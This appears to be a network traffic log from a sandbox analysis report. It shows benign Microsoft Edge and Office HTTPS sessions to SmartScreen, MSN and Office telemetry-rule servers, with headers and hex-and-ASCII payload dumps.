2024-10-29 19:35:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49914	4.150.155.223	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiWlg5WmFlNEpVYW54NEhUMVhRQlV4UT09IiwgImhhc2giOiJwS0VEcHJsSzg2OD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 19:35:21 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 19:35:21 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:21 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-10-29 19:35:21 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-10-29 19:35:21 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49912	131.253.33.203	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	847	OUT	GET /auth/cookie/appanon?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&ocid=authconstants-peregrine&activityId=8731449F-A998-4646-A5D1-482B211350CC&scn=app_anon HTTP/1.1 Host: api.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1
2024-10-29 19:35:21 UTC	3386	IN	HTTP/1.1 200 OK Content-Length: 2 Content-Type: application/json; charset=utf-8 Set-Cookie: _C_ETH=1; expires=Mon, 28 Oct 2024 19:35:21 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket=en-gb\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=672138f9746945c78d4d80d826c6e1d1.RefC=2024-10-29T19:35:21Z; expires=Thu, 29 Oct 2026 19:35:21 GMT; path=/ Set-Cookie: MUIDB=09AD4FBAEAAE613425ED5A9DEBF960D9; expires=Sun, 23 Nov 2025 19:35:21 GMT; path=/; httponly Set-Cookie: _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; domain=.msn.com; path=/; httponly Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated,DDD-TMPL-Removed,deviceFeatures,Server-Timing,DDD-LocationAssigned Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated,DDD-TMPL-Removed,deviceFeatures,Server-Timing,DDD-LocationAssigned DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 2bb38c64-feb6-4c7a-8c4f-019e711ac079 DDD-StrategyExecutionLatency: 00:00:00.0001291 DDD-TMPL-Removed: False DDD-Auth-Features: AT:NA;DID:m-09AD4FBAEAAE613425ED5A9DEBF960D9;IT:Unknown;MuidStateOrigin:MuidFromCookie DDD-DebugId: 2bb38c64-feb6-4c7a-8c4f-019e711ac079\|2024-10-29T19:35:21.6281865Z\|fabric_auth\|EUS2-A\|Auth_16 OneWebServiceLatency: 2 X-MSEdge-ResponseInfo: 2 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 672138f9746945c78d4d80d826c6e1d1\|AFD:672138f9746945c78d4d80d826c6e1d1\|2024-10-29T19:35:21.626Z nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7CD3BF5D9B6C4DD7905CA4386322B14E Ref B: SN4AA2022406037 Ref C: 2024-10-29T19:35:21Z Date: Tue, 29 Oct 2024 19:35:21 GMT Connection: close
2024-10-29 19:35:21 UTC	2	IN	Data Raw: 5b 5d Data Ascii: []

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49913	20.75.60.91	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=09AD4FBAEAAE613425ED5A9DEBF960D9&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=d55e6243b99d4773fe49f810720db22e HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1
2024-10-29 19:35:21 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 29 Oct 2024 19:35:20 GMT Connection: close
2024-10-29 19:35:21 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f493011a-501e-008f-5f2c-289054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193522Z-15b8d89586fvpb59307bn2rcac000000027g000000000sb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193522Z-16849878b78xblwksrnkakc08w000000065g00000000sdzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F 